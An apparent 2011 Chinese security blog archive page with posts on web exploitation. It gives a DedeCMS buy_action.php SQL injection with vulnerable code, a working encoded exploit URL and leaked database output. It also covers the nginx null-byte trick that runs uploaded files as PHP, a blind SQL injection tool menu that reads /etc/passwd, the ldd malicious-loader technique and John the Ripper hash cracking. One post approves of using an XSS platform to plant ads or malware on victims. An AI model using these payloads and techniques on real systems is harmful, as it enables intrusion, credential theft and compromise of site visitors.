存档

作者存档

Possible Arbitrary Code Execution with Null Bytes, PHP, and Old Versions of nginx

2011年8月25日 admin     712 views 没有评论

from:https://nealpoole.com/blog/2011/07/possible-arbitrary-code-execution-with-null-bytes-php-and-old-versions-of-nginx/

After publishing my previous blog post on PHP, nginx configuration, and potential arbitrary code execution, I came across a separate null-byte injection vulnerability in older versions of nginx (0.5.*, 0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37). By taking advantage of this vulnerability, an attacker can cause a server that uses PHP-FastCGI to execute any publicly accessible file on the server as PHP.

In vulnerable versions of nginx, null bytes are allowed in URIs by default (their presence is indicated via a variable named zero_in_uri defined in ngx_http_request.h). Individual modules have the ability to opt-out of handling URIs with null bytes. However, not all of them do; in particular, the FastCGI module does not.

The attack itself is simple: a malicious user who makes a request to http://example.com/file.ext%00.php causes file.ext to be parsed as PHP. If an attacker can control the contents of a file served up by nginx (ie: using an avatar upload form) the result is arbitrary code execution. This vulnerability can not be mitigated by nginx configuration settings like try_files or PHP configuration settings like cgi.fix_pathinfo: the only defense is to upgrade to a newer version of nginx or to explicitly block potentially malicious requests to directories containing user-controlled content. 阅读全文…

拿福能的千人挑战

2011年8月20日 admin     753 views 4 条评论

拿福能是一个博客广告联盟。拿福能的千人挑战赛是一个非常成功的营销,目标是召集更多的博主成功注册并加入拿福能,将人民币50,000元平分给活动开始后前1000名加入的每一位博主(每人50元)!

小博客为了那50块钱交域名费,就把自己给卖了。不过话说我还是非常看好这个博客联盟的。

有人来搞好东西当然要欢迎的。1000人都已经到了850多位了,支持的朋友赶紧吧。
拿福能千人挑战赛
千人挑战赛点这里参加。

分类: 新闻八卦 标签:

Dedecms变量覆盖导致的变量覆盖导致的注射

2011年8月12日 admin     1,057 views 5 条评论

好久没更新博客,再丢一个鸡肋。最近dedecms的那个变量覆盖漏洞很火貌似。可惜我还没研究透怎么利用好就被爆了,在人家手里好多年都不爆,有的家伙不知道是自己发现还是捡到了或者别人泄漏了就爆了~~~额真不和谐~~~

dedecms又一个magic_quote_gpc=Off的时候_RunMagicQuotes函数不起作用的例子。

by c4rp3nt3r@0x50sec.org

2011年5月

DedeCms 所有版本 buy_action.php注射漏洞
利用条件 magic_quote_gpc=Off

变量覆盖后存在注射漏洞

所有存在parse_str(mchStrCode($XX,DECODE),$YY)的地方都是危险的。
SB的Dedecms害怕变量覆盖不了,还紧跟foreach循环强制覆盖。

注意parse_str函数会受magic_quotes_gpc的影响。

12 echo '------------------------';
13 echo "pd_encode: ".$pd_encode.' cfg_cookie_encode: '.$cfg_cookie_encode;
14 echo '~~~~~~~~~~~~~~~~~~~~~~~~';
15 echo md5("payment".$pd_encode.$cfg_cookie_encode);
16
17 if(isset($pd_encode) && isset($pd_verify) && md5("payment".$pd_encode.$cfg_cookie_encode)
== $pd_verify)
18 {
19
20     parse_str(mchStrCode($pd_encode,'DECODE'),$mch_Post); //非常和谐
21
22     foreach($mch_Post as $k => $v) $$k = $v; //非常和谐
23     $row  = $dsql->GetOne("SELECT * FROM #@__member_operation WHERE mid='$mid' And sta=0 A
ND product='$product'");

./data/sys_pay.cache.php

32 function mchStrCode($string,$action=’ENCODE’)
33 {
34     $key    = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);
35     $string = $action == ‘ENCODE’ ? $string : base64_decode($string);
36     $len    = strlen($key);
37     $code   = ”;
38     for($i=0; $i<strlen($string); $i++)
39     {
40         $k      = $i % $len;
41         $code  .= $string[$i] ^ $key[$k];
42     }
43     $code = $action == ‘DECODE’ ? $code : base64_encode($code);
44     return $code;
45 }

dedecms 报错最新版本有许多注射漏洞。

Error page:
/x/upload/member/buy_action.php?pd_encode=BxAAXQVSUVQHAxZeX11fEBRWDwFDU0BDRlABEkZSWkwHHwUbAgoN
VVlDHAEaVgkfHk8HRUdeDgtLHxEeHRFZQwADEFxfQ1JD&pd_veri
fy=0abb4ffcdc6379fcbaa6d0ac38aa71d6
Error infos: XPATH syntax error: ‘ 5.1.41-3ubuntu12.10′
Error sql: SELECT * FROM dede_member_operation WHERE mid=” and
extractvalue(1,concat(0×09,(version()))) limit 0,1;

只不过是个鸡肋

关于Dedecms的变量覆盖漏洞的利用

2011年8月11日 admin     1,025 views 3 条评论


最近有人爆出了dedecms的变量覆盖漏洞,这也是个挺有意思的漏洞,有的情况下dedecms的这个变量漏洞存在好久了在有的人手里都好多年了,大约半年前我也独立发现过

本文c4rp3nt3r@0x50sec.org
写于2011年5月

DedeCMS 任意变量覆盖漏洞的利用

Dedecms的变量覆盖漏洞总结
1.在magic_quotes_gpc=Off时
common.inc.php对原来的一维数组的$_GET原始数据没有进行addslashes,而是对一维数组的$$key进行了addslashes,导致filter.inc.php再次覆盖的时候使_RunMagicQuotes函数成了纸老虎。

2.common.inc.php
//检查和注册外部提交的变量,此处只检查一维数组的key,可以被绕过从而创建不允许的系统配置变量
我们可以通过下面的变量覆盖漏洞使用GET提交的方式创建出$_POST数组数据,创建是在检查之后的也就绕过了检查,创建出来之后,程序又将其注册成了变量。

3.filter.inc.php
这个文件在系统配置文件之后,里面有foreach循环创建变量,所以可以覆盖系统变量。

阅读全文…

分类: 漏洞代码 标签: ,

SQL注射辅助工具的编写

2011年7月19日 admin     938 views 1 条评论

好久没更新,也没去找文章copy上来了,发现小站做的越来越烂。
现在开放、共享的环境越来越差了…
今天因为需要就临时改了下原来写的一个小脚本,增加了mysql报错方式盲注的小功能,这个功能sqlmap应该有吧,好久没用过了,windows下Havij 1.14 Pro这个工具也用这种方式盲注,所以速度很快。

此外还尝试用C语言写一个web漏洞检测程序。
初步实现是爬行网页,提取url,然后提取url的参数,然后判断是否存在注射。这些东西网上都有,我实现这个玩意主要是检验和提高C语言编程方面的知识,另一方面自己写的可以随意扩展,并且用的时候知道程序在干什么。已经初步实现了检测部分弱智注射了,还存在很多要完善的地方,真正要写个小工具的时候发现并不是那么简单,老有想找个代码参考下的冲动。

[root@localhost]# ./bget.pl

|=—————————————–=|
|=——[ Blind SQL Injector V1.3 ]——–=|
|=——-[ c4rp3nt3r@0x50sec.org ]———=|
|=—————————————–=|

Choose a number to be execute:
[0] sql (from [STDIN])
[1] version()
[2] database()
[3] user()
[4] dump table_schema v5.x
[5] dump table_name (table_schem=database() v5.x)
[6] dump column_name (table_name= [STDIN] v5.x)
[7] fuzz table_name v4.x
[8] fuzz column_name v4.x
[9] fuzz web path(‘read httpd.conf’)
[a] load_file(‘/etc/passwd’)
[b] load_file(‘c:\boot.ini’)
[c] load_file(‘file path from [STDIN]‘)
[d] load_file(‘file path from [STDIN] error base’)
[e] dump table_schema (v5.x error base)
[f] dump table_name (table_schem=database() v5.x error base)
[g] dump column_name (table_name= [STDIN] v5.x error base)
[x] sql (from [STDIN] error base)

Choose a number#

分类: 新闻八卦 标签: , ,

anehta xss test

2011年7月3日 admin     1,099 views 1 条评论

hello xss world!
罪过罪过。
测试了anehta平台,发现并没有想象的那么完美。
不过已经非常强大了,简单修改了两个小地方,目标中了就会立即发邮件,还有就是每个人都执行一条js语句,这个语句可是是挂广告的,刷ip流量的,挂马的什么的。

分类: 新闻八卦 标签:

Blind Sql Injection with Regular Expressions Attack

2011年6月22日 admin     1,237 views 没有评论

Powered by IHTeam
Site: www.ihteam.net
PHP example code
This paper
Authors:
Simone ‘R00T_ATI’ Quatrini
Marco ‘white_sheep’ Rondini

 

Blind Sql Injection – Regular Expressions Attack
Blind Sql Injection with Regular
Expressions Attack
Powered by IHTeam
Site: www.ihteam.net
PHP example code
This paper
Authors:
Simone ‘R00T_ATI’ Quatrini
Marco ‘white_sheep’ Rondini
1/9
Blind Sql Injection – Regular Expressions Attack
Index
Why blind sql injection?……………………………………………………………………………………………………….3
How blind sql injection can be used?………………………………………………………………………………………3
Testing vulnerability (MySQL – MSSQL):…………………………………………………………………………….3
Time attack (MySQL)……………………………………………………………………………………………………………3
Time attack (MSSQL)…………………………………………………………………………………………………………..4
Regexp attack’s methodology………………………………………………………………………………………………….5
Finding table name with Regexp attack (MySQL)…………………………………………………………………5
Finding table name with Regexp attack (MSSQL)…………………………………………………………………6
Exporting a value with Regexp attack (MySQL)…………………………………………………………………..7
Exporting a value with Regexp attack (MSSQL)…………………………………………………………………..7
Time considerations……………………………………………………………………………………………………………..8
Bypassing filters………………………………………………………………………………………………………………….9
Real life example…………………………………………………………………………………………………………………9
Conclusions………………………………………………………………………………………………………………………..9
阅读全文…

ldd 的一个安全问题

2011年6月17日 admin     722 views 没有评论

来源:http://coolshell.cn/articles/1626.html

2009年10月28日 陈皓

我们知道“ldd”这个命令主要是被程序员或是管理员用来查看可执行文件所依赖的动态链接库的。是的,这就是这个命令的用处。可是,这个命令比你想 像的要危险得多,也许很多黑客通过ldd的安全问题来攻击你的服务器。其实,ldd的安全问题存在很长的时间了,但居然没有被官方文档所记录来下,这听上 去更加难以理解了。怎么?是不是听起来有点不可思议?下面,让我为你细细道来。

首先,我们先来了解一下,我们怎么来使用ldd的,请你看一下下面的几个命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
(1) $ ldd /bin/grep
linux-gate.so.1 =>  (0xffffe000)
libc.so.6 => /lib/libc.so.6 (0xb7eca000)
/lib/ld-linux.so.2 (0xb801e000)
(2) $ LD_TRACE_LOADED_OBJECTS=1 /bin/grep
linux-gate.so.1 =>  (0xffffe000)
libc.so.6 => /lib/libc.so.6 (0xb7e30000)
/lib/ld-linux.so.2 (0xb7f84000)
(3) $ LD_TRACE_LOADED_OBJECTS=1 /lib/ld-linux.so.2 /bin/grep
linux-gate.so.1 =>  (0xffffe000)
libc.so.6 => /lib/libc.so.6 (0xb7f7c000)
/lib/ld-linux.so.2 (0xb80d0000)

第(1)个命令,我们运行了 `ldd` 于 `/bin/grep`。我们可以看到命令的输出是我们想要的,那就是 `/bin/grep` 所依赖的动态链接库。

第(2)个命令设置了一个叫 LD_TRACE_LOADED_OBJECTS 的环境变量,然后就好像在运行命令 `/bin/grep` (但其实并不是)。 其运行结果和ldd的输出是一样的!

第(3)个命令也是设置了环境变量 LD_TRACE_LOADED_OBJECTS ,然后调用了动态链接库 `ld-linux.so` 并把 `/bin/grep` 作为参数传给它。我们发现,其输出结果还是和前面两个一样的。

 

具体发生了什么?

对于第二个和第三个命令来说,好像是对 `ldd` 的一个包装或是一个隐式调用。对于第二个和第三个命令来说, `/bin/grep` 这个命令就根本没有被运行。这是一个GNU动态载入器的怪异的特性。如果其注意到环境变量LD_TRACE_LOADED_OBJECTS 被设置了,那么它就不会去执行那个可运行的程序,而去输出这个可执行程序所依赖的动态链接库 (在BSD 系统上的`ldd` 是一个C 程序)。

如果你使用的是Linux,那么,你可以去看看 `ldd` 程序,你会发现这是一个 bash 的脚本。如果你仔细查看这个脚本的源码,你会发现,第二个命令和第三个命令的差别就在于 `ld-linux.so` 装载器是否可以被`ldd`所装载,如果不能,那就是第二个命令,如果而的话,那就是第三个命令。

所以,如果我们可以让`ld-linux.so` 装载器失效的话,或是让别的装载器来取代这个系统默认的动态链接库的话,那么我们就可以让 `ldd`来载入并运行我们想要程序了——使用不同的载装器并且不处理LD_TRACE_LOADED_OBJECTS 环境变量,而是直接运行程序。

例如,你可以创建一个具有恶意的程序,如: ~/app/bin/exec 并且使用他自己的装载器 ~/app/lib/loader.so。如果某人(比如超级用户root) 运行了 `ldd /home/you/app/bin/exec` ,于是,他就玩完了。因为,那并不会列出所依赖的动态链接库,而是,直接执行你的那个恶意程序,这相当于,那个用户给了你他的授权。

编译一个新的装载器

下载 uClibc C库。这是一个相当漂亮的代码,并且可以非常容易地修改一下源代码,使其忽略LD_TRACE_LOADED_OBJECTS 检查。

1
2
3
$ mkdir app
$ cd app
app$ wget 'http://www.uclibc.org/downloads/uClibc-0.9.30.1.tar.bz2'

解压这个包,并执行 `make menuconfig`,选项你的平台架构(比如:i386),剩下的事情保持不变。

1
2
3
4
$ bunzip2 < uClibc-0.9.30.1.tar.bz2 | tar -vx
$ rm -rf uClibc-0.9.30.1.tar.bz2
$ cd uClibc-0.9.30.1
$ make menuconfig

编辑 .config 并设置目标安装目录:到 `/home/you/app/uclibc`,
把下面两行

1
2
RUNTIME_PREFIX="/usr/$(TARGET_ARCH)-linux-uclibc/"
DEVEL_PREFIX="/usr/$(TARGET_ARCH)-linux-uclibc/usr/"

改成

1
2
RUNTIME_PREFIX="/home/you/app/uclibc/"
DEVEL_PREFIX="/home/you/app/uclibc/usr/"

阅读全文…

一个简陋的同ip域名查询脚本

2011年6月16日 admin     978 views 没有评论

一个简陋的同ip域名查询脚本,实在简陋,丢出来想要的拿走。

可以同时查询google page rank。

#!/usr/bin/perl
# Same IP / Reverse IP Lookup
# Code by c4rp3nt3r#0x50sec.org
#

use POSIX;
use LWP::UserAgent;

$lwp = new LWP::UserAgent or die;

print “\n[*] Same IP / Reverse IP Lookup\n”;
print ‘[*] by c4rp3nt3r@0x50sec.org’.”\n”;

$api = ‘http://sameip.org/ip/’;
$host = $ARGV[0];
$api .= $host;

$res = $lwp->get($api);
$myres=$res->content;
#printf($myres) ; #for test
$i=0;
@hosts=();
$len=@hosts;

#get_pr(‘www.0x50sec.org’);
while($myres =~ /<a\shref=\”http:\/\/(.+?)\”\srel/i)
{
$qq=$&;
$host=$1;
$len=@hosts;
$hosts[$len]=$host;
$myres =~ s/$qq//mg;

}
$len=@hosts;

if($len != 0)
{
# print “[+] Domains Result:\n”;
# for($i=0;$i<$len;$i++)
# {
# print “[$i]\t”.$hosts[$i].”\n”;
# }
print “[+] Google PageRank Result:\n\n”;
for($i=0;$i<$len;$i++)
{
print “[$i]\t”.substr(get_pr($hosts[$i]),0,1).”\t”.$hosts[$i].”\n”;
}

}else
{
print “[-] Result Not Found !\n\n”;
exit;
}

print “\n[+] Found $len Domains! \n\n”;
sub get_pr
{
@suburl= @_;
my $url = $suburl[0];
$prapi=’http://www.0x50sec.org/pr.php?h=’;
$prapi .= $url;
$prlwp = new LWP::UserAgent or die;
$prres = $prlwp->get($prapi);
$pr = $prres->content;
return $pr;
}

Teaching John The Ripper how to Crack MD5 Hashes

2011年6月16日 admin     1,036 views 没有评论

From:http://www.disenchant.ch/blog/teaching-john-the-ripper-how-to-crack-md5-hashes/106.html

/*

好强大,还有不能破解的常见密码格式吗~~~

[root@localhost]# ./john
John the Ripper password cracker, version 1.7.3.4-jumbo-1
Copyright (c) 1996-2008 by Solar Designer and others
Homepage: http://www.openwall.com/john/

Usage: john [OPTIONS] [PASSWORD-FILES]
–single                   “single crack” mode
–wordlist=FILE –stdin    wordlist mode, read words from FILE or stdin
–rules                    enable word mangling rules for wordlist mode
–incremental[=MODE]       “incremental” mode [using section MODE]
–markov[=LEVEL[:START:END[:MAXLEN]]] “Markov” mode (see documentation)
–external=MODE            external mode or word filter
–stdout[=LENGTH]          just output candidate passwords [cut at LENGTH]
–restore[=NAME]           restore an interrupted session [called NAME]
–session=NAME             give a new session the NAME
–status[=NAME]            print status of a session [called NAME]
–make-charset=FILE        make a charset, FILE will be overwritten
–show                     show cracked passwords
–test[=TIME]              run tests and benchmarks for TIME seconds each
–users=[-]LOGIN|UID[,..]  [do not] load this (these) user(s) only
–groups=[-]GID[,..]       load users [not] of this (these) group(s) only
–shells=[-]SHELL[,..]     load users with[out] this (these) shell(s) only
–salts=[-]COUNT           load salts with[out] at least COUNT passwords only
–format=NAME              force hash type NAME: DES/BSDI/MD5/BF/AFS/LM/NT/XSHA/PO/raw-MD5/IPB2/raw-sha1/md5a/hmac-md5/KRB5/bfegg/nsldap/ssha/openssha/oracle/MYSQL/mysql-sha1/mscash/lotus5/DOMINOSEC/NETLM/NETNTLM/NETLMv2/NETHALFLM/mssql/mssql05/epi/phps/mysql-fast/pix-md5/sapG/sapB/md5ns/HDAA
–save-memory=LEVEL        enable memory saving, at LEVEL 1..3

*/

Today I was playing around with the well known password cracking tool John the Ripper (JtR) and was looking forward to crack some MD5 hashes. Unfortunately, John still not supports raw-MD5 out of the box and so I was searching the web for a solution. It took me some minutes until I found out, that there are unoficial patches for John’s source code and so I simply patched it and tried to compile. For any reason, I run into problems (doesn’t matter now what problems : ) and even after about half an hour searching the web for a solution I didn’t find anything. Then a few minutes later I found a simple howto for how to patch and compile John so that you won’t have any problems. The site which solved my problem was gurx.net and I couldn’t find it faster because it’s not written in English nor German. Now of course I’ll show you how to do it the gurx.net-way but with support for even many more algorithms than just MD5.

mkdir john
cd john
wget http://www.openwall.com/john/f/john-1.7.2.tar.bz2
tar -xvf john-1.7.2.tar
cd john-1.7.2
wget ftp://ftp.openwall.com/pub/projects/john/contrib/john-1.7.2-all-9.diff.gz
gzip -d john-1.7.2-all-9.diff.gz
patch -p1 < john-1.7.2-all-9.diff.gz
cd src
make
make clean linux-x86-any

Now you can use John out of the “run” directory.

./john -format=raw-MD5 /home/disenchant/md5_hashes_to_crack.txt

raw-MD5 means that you’ve got an input file (/home/disenchant/md5_hashes_to_crack.txt) like the following:

Alice:5f4dcc3b5aa765d61d8327deb882cf99
Bob:1c0b76fce779f78f51be339c49445c49

PS: My machine’s a Xubuntu Edgy but this should work with any Linux box :)